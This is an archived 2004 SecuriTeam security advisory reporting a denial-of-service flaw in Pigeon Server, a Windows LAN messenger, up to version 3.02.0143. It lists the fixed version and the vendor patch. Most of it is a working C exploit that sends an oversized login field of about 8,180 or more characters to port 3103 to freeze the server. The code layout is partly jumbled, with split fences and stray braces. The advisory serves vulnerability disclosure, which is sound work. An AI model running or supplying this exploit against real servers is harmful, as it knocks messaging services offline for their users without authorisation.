

[NT] Pigeon Server DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-09/0042.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 09/19/04

To: list@securiteam.com

Date: 19 Sep 2004 14:50:06 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Pigeon Server DoS

SUMMARY

<<http://www.tech-noel.com/>> Pigeon Server is a "Instant, complete and inexpensive LAN messenger for Windows platform". Due to a vulnerability in the server it is possible to cause the server to crash by sending it an arbitrarily long login request.

DETAILS

Vulnerable Systems:

* Pigeon Server version 3.02.0143 and prior

Immune Systems:

* Pigeon Server version 3.03.146 or newer

A login field longer than 8180 chars sent to the port 3103 will freeze the Pigeon server, causing it to consume large amounts of CPU time, making it also impossible to login and to send/receive messages.

Vendor Status:

The vendor has issued a fix, available at

<<ftp://ftp.tech-noel.com/PigeonServerUpd.exe>>

<ftp://ftp.tech-noel.com/PigeonServerUpd.exe>

Exploit:

/*

by Luigi Auriemma

*/

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
```

```
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
```

```
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#endif
```

```
#define VER "0.1"
#define PORT 3103
#define BUFFSZ 8192 // we need at least 8180 'a's
```

```
u_long resolv(char *host);
void std_err(void);
```

```
int main(int argc, char *argv[]) {
    struct sockaddr_in peer;
    int sd;
    u_short port = PORT;
    u_char *buff;

    setbuf(stdout, NULL);

    fputs("\n"
        "Pigeon server <= 3.02.0143 freeze "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web: http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\nUsage: %s <server> [port(%d)]\n"
            "\n", argv[0], PORT);
        exit(1);
    }
}
```

```

}

#ifdef WIN32
    WSADATA wsadata;
    WSASStartup(MAKEWORD(1,0), &wsadata);
#endif

if(argc > 2) port = atoi(argv[2]);

peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("\n- target %s:%hu\n",
    inet_ntoa(peer.sin_addr), port);

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();

if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
    < 0) std_err();

buff = malloc(BUFFSZ);
if(!buff) std_err();
memset(buff, 'a', BUFFSZ);
buff[BUFFSZ - 5] = '|';
buff[BUFFSZ - 4] = '|';
buff[BUFFSZ - 3] = '1';
buff[BUFFSZ - 2] = '|';
buff[BUFFSZ - 1] = '|';

fputs("- send malformed data\n", stdout);
if(send(sd, buff, BUFFSZ, 0)
    < 0) std_err();

close(sd);
fputs("- the server should be freezed, check it manually\n\n",
stdout);
return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
            exit(1);
        }
    }
}

```

Securiteam: [NT] Pigeon Server DoS

```
    } else host_ip = *(u_long*)(hp->h_addr);  
  }  
  return(host_ip);  
}
```

```
#ifndef WIN32  
void std_err(void) {  
    perror("\nError");  
    exit(1);  
}  
#endif
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@autistici.org> Luigi Auriemma.

The original article can be found at:

<<http://aluigi.altervista.org/adv/pigeonx-adv.txt>>

<http://aluigi.altervista.org/adv/pigeonx-adv.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.